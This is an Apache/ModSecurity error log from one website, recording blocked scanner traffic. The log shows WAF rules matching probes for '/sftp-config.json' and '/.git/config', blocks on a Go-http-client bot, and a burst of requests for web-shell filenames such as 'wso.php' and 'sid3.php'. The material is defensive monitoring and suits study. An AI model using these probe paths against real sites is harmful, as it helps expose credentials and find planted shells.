[Sat Nov 15 18:07:01.874606 2025] [:error] [pid 22613:tid 22622] [client 43.153.62.161:55700] [client 43.153.62.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRhQxSoyR3cDsIRGPRm9dwAAAgc"]
[Sat Nov 15 18:07:52.594187 2025] [:error] [pid 22613:tid 22624] [client 152.42.200.79:64745] [client 152.42.200.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aRhQ-CoyR3cDsIRGPRm9sQAAAgk"]
[Sat Nov 15 19:25:22.828998 2025] [:error] [pid 20654:tid 20676] [client 182.44.12.37:50685] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRhjIncS7eC8vO76_yf7vAAAA5M"]
[Sat Nov 15 20:15:56.748368 2025] [:error] [pid 20346:tid 20366] [client 45.138.16.215:51677] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/postnews.php"] [unique_id "aRhu_J7hsydZdIoVTltKnwAAAxE"]
[Sat Nov 15 20:15:57.302665 2025] [:error] [pid 19959:tid 19981] [client 45.138.16.215:51818] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRhu_cjejiTUP1-IawPsHQAAAY8"]
[Sat Nov 15 20:15:57.848153 2025] [:error] [pid 19959:tid 19984] [client 45.138.16.215:51995] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRhu_cjejiTUP1-IawPsJAAAAZI"]
[Sat Nov 15 20:26:26.869294 2025] [:error] [pid 22613:tid 22626] [client 45.134.79.103:63615] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRhxcioyR3cDsIRGPRnSPAAAAgs"]
[Sat Nov 15 20:26:27.515536 2025] [:error] [pid 27911:tid 27974] [client 45.134.79.103:63888] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRhxc8GzUdrhGBIfiKR19wAAAIY"]
[Sat Nov 15 20:26:28.159314 2025] [:error] [pid 27997:tid 28002] [client 45.134.79.103:64117] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRhxdNpja_6cDxKbxFnq9wAAAMM"]
[Sat Nov 15 22:32:21.255634 2025] [:error] [pid 20654:tid 20677] [client 43.166.134.114:46162] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRiO9XcS7eC8vO76_ychqQAAA5Q"]
[Sat Nov 15 23:56:55.363898 2025] [:error] [pid 27911:tid 27988] [client 34.26.203.176:40836] [client 34.26.203.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aRiix8GzUdrhGBIfiKSOWAAAAJQ"]
[Sun Nov 16 02:18:48.306812 2025] [:error] [pid 22765:tid 22771] [client 182.44.8.254:51816] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRjECKbrQzjuZmPIWDZKrgAAAoM"]
[Sun Nov 16 02:33:35.424874 2025] [autoindex:error] [pid 27911:tid 27978] [client 20.2.83.141:60578] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 15:17:04.492866 2025] [:error] [pid 34164:tid 34175] [client 182.44.67.97:48890] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRl6cO93ccBCLD8-Q4YjIgAAAYc"]
[Sun Nov 16 15:38:19.226766 2025] [:error] [pid 52563:tid 52577] [client 185.138.88.25:41824] [client 185.138.88.25] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "176.88.23.184_e7f7872d1f072df13adde147b911fb7b6f889d07"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding/verification"] [unique_id "aRl_Z8-l3ey-hVJ5AuuLlAAAAMs"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Sun Nov 16 18:09:02.486036 2025] [:error] [pid 34301:tid 34324] [client 43.130.15.147:57446] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRmivrGPoZwUGuFNREvGzQAAApQ"]
[Sun Nov 16 18:41:49.413403 2025] [autoindex:error] [pid 34133:tid 34145] [client 155.94.163.116:58352] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 17 00:02:41.337746 2025] [:error] [pid 34165:tid 34213] [client 43.152.72.244:49360] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRn1oXhG2YTKEjXchwlfwgAAAdI"]
[Mon Nov 17 04:43:22.749815 2025] [:error] [pid 39537:tid 39540] [client 182.40.104.255:58508] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRo3aoZRrh1pcrdcLB--IQAAAMA"]
[Mon Nov 17 05:06:11.845916 2025] [:error] [pid 39449:tid 39474] [client 48.218.71.119:7133] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kki.php"] [unique_id "aRo8w6UCymTA3MDfzLOC6QAAABQ"]
[Mon Nov 17 05:06:12.532389 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:7137] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kki.php"] [unique_id "aRo8xIZRrh1pcrdcLB_LKQAAAMA"]
[Mon Nov 17 05:06:13.011162 2025] [:error] [pid 39451:tid 39517] [client 48.218.71.119:7058] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kki.php"] [unique_id "aRo8xefgkqXTS0SO3fBfXAAAAIk"]
[Mon Nov 17 05:06:13.350115 2025] [:error] [pid 40548:tid 40572] [client 48.218.71.119:7139] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kki.php"] [unique_id "aRo8xQM_PykfYnxh-j-hbAAAARY"]
[Mon Nov 17 05:06:13.763179 2025] [:error] [pid 39451:tid 39510] [client 48.218.71.119:7138] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aRo8xefgkqXTS0SO3fBfXgAAAII"]
[Mon Nov 17 05:06:14.314930 2025] [:error] [pid 39450:tid 39494] [client 48.218.71.119:7112] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aRo8xuoZqPB4_7vNEDSKgQAAAE0"]
[Mon Nov 17 05:06:15.075866 2025] [:error] [pid 39449:tid 39456] [client 48.218.71.119:7119] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aRo8x6UCymTA3MDfzLOC6gAAAAI"]
[Mon Nov 17 05:06:15.380113 2025] [:error] [pid 39449:tid 39478] [client 48.218.71.119:7147] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aRo8x6UCymTA3MDfzLOC6wAAABg"]
[Mon Nov 17 05:06:15.707881 2025] [:error] [pid 39450:tid 39497] [client 48.218.71.119:7136] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aRo8x-oZqPB4_7vNEDSKggAAAFA"]
[Mon Nov 17 05:06:15.959600 2025] [:error] [pid 39449:tid 39470] [client 48.218.71.119:7048] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aRo8x6UCymTA3MDfzLOC7AAAABA"]
[Mon Nov 17 05:06:16.373511 2025] [:error] [pid 39449:tid 39469] [client 48.218.71.119:7160] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aRo8yKUCymTA3MDfzLOC7gAAAA8"]
[Mon Nov 17 05:06:16.826767 2025] [:error] [pid 39449:tid 39462] [client 48.218.71.119:7156] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aRo8yKUCymTA3MDfzLOC8gAAAAg"]
[Mon Nov 17 05:06:17.314623 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:7040] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aRo8yefgkqXTS0SO3fBfZgAAAJg"]
[Mon Nov 17 05:06:17.714807 2025] [:error] [pid 39449:tid 39476] [client 48.218.71.119:7162] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aRo8yaUCymTA3MDfzLOC9AAAABY"]
[Mon Nov 17 05:06:18.048927 2025] [:error] [pid 39451:tid 39508] [client 48.218.71.119:7114] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aRo8yufgkqXTS0SO3fBfaAAAAIA"]
[Mon Nov 17 05:06:18.845136 2025] [:error] [pid 39537:tid 39559] [client 48.218.71.119:7081] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aRo8yoZRrh1pcrdcLB_LMgAAANM"]
[Mon Nov 17 05:06:19.278875 2025] [:error] [pid 39537:tid 39554] [client 48.218.71.119:6984] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aRo8y4ZRrh1pcrdcLB_LNgAAAM4"]
[Mon Nov 17 05:06:19.756762 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:7166] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aRo8y4ZRrh1pcrdcLB_LOQAAAMA"]
[Mon Nov 17 05:06:20.269528 2025] [:error] [pid 39451:tid 39526] [client 48.218.71.119:7057] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aRo8zOfgkqXTS0SO3fBfaQAAAJI"]
[Mon Nov 17 05:06:21.243371 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:7075] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aRo8zeoZqPB4_7vNEDSKhwAAAE4"]
[Mon Nov 17 05:06:21.734026 2025] [:error] [pid 39451:tid 39520] [client 48.218.71.119:7066] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aRo8zefgkqXTS0SO3fBfcAAAAIw"]
[Mon Nov 17 05:06:22.910206 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:7052] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aRo8zgM_PykfYnxh-j-hdgAAAQ4"]
[Mon Nov 17 05:06:23.592153 2025] [:error] [pid 39451:tid 39530] [client 48.218.71.119:7153] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aRo8z-fgkqXTS0SO3fBffgAAAJY"]
[Mon Nov 17 05:06:24.242242 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:7054] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aRo80IZRrh1pcrdcLB_LPAAAAM8"]
[Mon Nov 17 05:06:25.023240 2025] [:error] [pid 39537:tid 39559] [client 48.218.71.119:7167] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aRo80YZRrh1pcrdcLB_LPwAAANM"]
[Mon Nov 17 05:06:25.943264 2025] [:error] [pid 39449:tid 39463] [client 48.218.71.119:7111] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aRo80aUCymTA3MDfzLOC_QAAAAk"]
[Mon Nov 17 05:06:26.950212 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:7073] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aRo80oZRrh1pcrdcLB_LQgAAANc"]
[Mon Nov 17 05:06:28.313711 2025] [:error] [pid 39537:tid 39541] [client 48.218.71.119:7163] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aRo81IZRrh1pcrdcLB_LRgAAAME"]
[Mon Nov 17 05:06:29.580945 2025] [:error] [pid 39537:tid 39552] [client 48.218.71.119:7141] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aRo81YZRrh1pcrdcLB_LSAAAAMw"]
[Mon Nov 17 05:06:30.992791 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:7050] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aRo81gM_PykfYnxh-j-hgwAAAQI"]
[Mon Nov 17 05:06:31.545422 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:7106] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aRo814ZRrh1pcrdcLB_LTQAAAMI"]
[Mon Nov 17 05:06:32.004365 2025] [:error] [pid 39449:tid 39469] [client 48.218.71.119:7064] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aRo82KUCymTA3MDfzLODBwAAAA8"]
[Mon Nov 17 05:06:32.967361 2025] [:error] [pid 39451:tid 39526] [client 48.218.71.119:6983] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4yps5d.php"] [unique_id "aRo82OfgkqXTS0SO3fBfjgAAAJI"]
[Mon Nov 17 05:06:33.874114 2025] [:error] [pid 39451:tid 39525] [client 48.218.71.119:7129] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4yps5d.php"] [unique_id "aRo82efgkqXTS0SO3fBfkQAAAJE"]
